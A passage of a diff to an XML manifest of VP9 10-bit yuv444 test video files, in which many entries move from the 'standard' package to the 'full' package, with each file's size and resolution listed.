+    <value>mime=video/x-vnd.on2.vp9,size=26075,width=128,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1440x1080p50f32_3100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=281922,width=1440,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=281922,width=1440,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1440x1440p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=357419,width=1440,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=357419,width=1440,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1440x1920p50f32_5500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=470103,width=1440,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=470103,width=1440,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1440x2560p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=749315,width=1440,height=2560,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=749315,width=1440,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1440x960p50f32_2700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=242205,width=1440,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=242205,width=1440,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_144x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21855,width=144,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21855,width=144,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_144x176p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20957,width=144,height=176,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20957,width=144,height=176,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_144x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20555,width=144,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20555,width=144,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_144x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19742,width=144,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19742,width=144,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_144x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25771,width=144,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25771,width=144,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1536x2048p50f32_6200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=522447,width=1536,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=522447,width=1536,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_160x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19841,width=160,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19841,width=160,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_16x1080p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=271312,width=16,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=271312,width=16,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_16x1280p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=337385,width=16,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=337385,width=16,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_16x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=13583,width=16,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=13583,width=16,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_16x1920p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=628759,width=16,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=628759,width=16,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_16x720p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=162159,width=16,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=162159,width=16,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_172x172p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21048,width=172,height=172,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21048,width=172,height=172,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_176x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21532,width=176,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21532,width=176,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_176x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26115,width=176,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26115,width=176,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1920x1080p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=378840,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=378840,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1920x1088p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=381018,width=1920,height=1088,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=381018,width=1920,height=1088,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1920x1280p50f32_4900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=433142,width=1920,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=433142,width=1920,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1920x1440p50f32_5500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=485657,width=1920,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=485657,width=1920,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1920x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21071,width=1920,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21071,width=1920,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1920x1920p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=620448,width=1920,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=620448,width=1920,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1920x2560p50f32_9800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1009183,width=1920,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1920x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17515,width=1920,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17515,width=1920,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_192x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21972,width=192,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21972,width=192,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_192x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21319,width=192,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21319,width=192,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_192x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20287,width=192,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20287,width=192,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_192x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19055,width=192,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19055,width=192,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_192x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18689,width=192,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18689,width=192,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_2048x1152p50f32_4700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=424665,width=2048,height=1152,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=424665,width=2048,height=1152,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_2048x1536p50f32_6200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=541964,width=2048,height=1536,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=541964,width=2048,height=1536,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_2048x2048p50f32_8300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=714764,width=2048,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=714764,width=2048,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_2160x3840p50f32_16500kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1784759,width=2160,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_216x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18994,width=216,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18994,width=216,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_2304x4096p50f32_18800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2016789,width=2304,height=4096,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_240x160p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20449,width=240,height=160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20449,width=240,height=160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_240x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18759,width=240,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18759,width=240,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_240x320p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16654,width=240,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16654,width=240,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_240x360p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16482,width=240,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16482,width=240,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_24x32p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16174,width=24,height=32,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16174,width=24,height=32,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_2560x1440p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=659354,width=2560,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=659354,width=2560,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_2560x1920p50f32_9800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=858008,width=2560,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38400,34 +38400,34 @@
     <value>mime=video/x-vnd.on2.vp9,size=2088861,width=2560,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_256x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20350,width=256,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20350,width=256,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_256x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19364,width=256,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19364,width=256,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_256x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18478,width=256,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18478,width=256,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_264x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16499,width=264,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16499,width=264,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_2880x3840p50f32_22100kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2355254,width=2880,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_288x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19030,width=288,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19030,width=288,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_288x216p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19013,width=288,height=216,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19013,width=288,height=216,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_288x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16753,width=288,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16753,width=288,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_288x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16406,width=288,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16406,width=288,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_288x512p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19869,width=288,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19869,width=288,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_3072x4096p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2586528,width=3072,height=4096,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38436,61 +38436,61 @@
     <value>mime=video/x-vnd.on2.vp9,size=2556235,width=3120,height=4160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_320x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17204,width=320,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17204,width=320,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_320x320p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16452,width=320,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16452,width=320,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_320x480p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24537,width=320,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24537,width=320,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_32x24p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=15915,width=32,height=24,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=15915,width=32,height=24,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_32x32p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16962,width=32,height=32,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16962,width=32,height=32,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_350x350p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17620,width=350,height=350,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17620,width=350,height=350,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_352x264p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16513,width=352,height=264,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16513,width=352,height=264,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_352x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16505,width=352,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16505,width=352,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_352x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18325,width=352,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18325,width=352,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_356x638p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71536,width=356,height=638,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71536,width=356,height=638,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_356x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71550,width=356,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71550,width=356,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_358x636p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71566,width=358,height=636,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71566,width=358,height=636,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_358x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71698,width=358,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71698,width=358,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_360x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16615,width=360,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16615,width=360,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_360x360p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18829,width=360,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18829,width=360,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_360x480p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25700,width=360,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25700,width=360,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_360x636p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71423,width=360,height=636,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71423,width=360,height=636,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_360x638p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71731,width=360,height=638,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71731,width=360,height=638,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_360x640p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33109,width=360,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33109,width=360,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_3840x2160p50f32_16500kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1464842,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38505,7 +38505,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=2513821,width=3840,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_384x512p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26904,width=384,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26904,width=384,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_4096x2304p50f32_18800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2017092,width=4096,height=2304,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38529,151 +38529,151 @@
     <value>mime=video/x-vnd.on2.vp9,size=2867447,width=4608,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_472x472p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33276,width=472,height=472,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33276,width=472,height=472,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_480x320p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24718,width=480,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24718,width=480,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_480x360p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25944,width=480,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25944,width=480,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_480x480p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33724,width=480,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33724,width=480,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_480x640p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48302,width=480,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48302,width=480,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_480x720p50f32_600kbps.webm">
